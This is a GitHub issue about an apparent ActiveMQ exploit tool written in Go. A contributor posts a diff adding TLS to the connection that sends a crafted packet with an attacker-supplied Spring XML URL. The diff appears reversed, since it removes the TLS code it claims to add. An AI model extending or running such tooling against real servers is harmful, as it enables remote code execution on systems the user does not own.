Add TLS support
Closed this issue · 1 comments
eduardoalvarenga commented
Sorry, but I can't push a PR/create branch.
diff --git a/main.go b/main.go
index 686d0c7..d6a944f 100644
--- a/main.go
+++ b/main.go
@@ -1,7 +1,6 @@
package main
import (
- "crypto/tls"
"encoding/hex"
"flag"
"fmt"
@@ -12,16 +11,14 @@ import (
func main() {
var (
- ip string
- port string
- url string
- useTLS bool
+ ip string
+ port string
+ url string
)
flag.StringVar(&ip, "i", "", "ActiveMQ Server IP or Host")
flag.StringVar(&port, "p", "61616", "ActiveMQ Server Port")
flag.StringVar(&url, "u", "", "Spring XML Url")
- flag.BoolVar(&useTLS, "t", false, "Use TLS for connection")
flag.Parse()
banner()
@@ -44,23 +41,7 @@ func main() {
fmt.Println()
fmt.Println("[*] Sending packet:", payload)
- var conn net.Conn
- var err error
-
- if useTLS {
- conf := &tls.Config{
- InsecureSkipVerify: true, // You may want to set this to false in production
- }
- conn, err = tls.Dial("tcp", ip+":"+port, conf)
- } else {
- conn, err = net.Dial("tcp", ip+":"+port)
- }
-
- if err != nil {
- fmt.Println("Error connecting:", err)
- return
- }
-
+ conn, _ := net.Dial("tcp", ip+":"+port)
conn.Write(data)
conn.Close()
}
X1r0z commented
I've already support it now. Thanks for your code.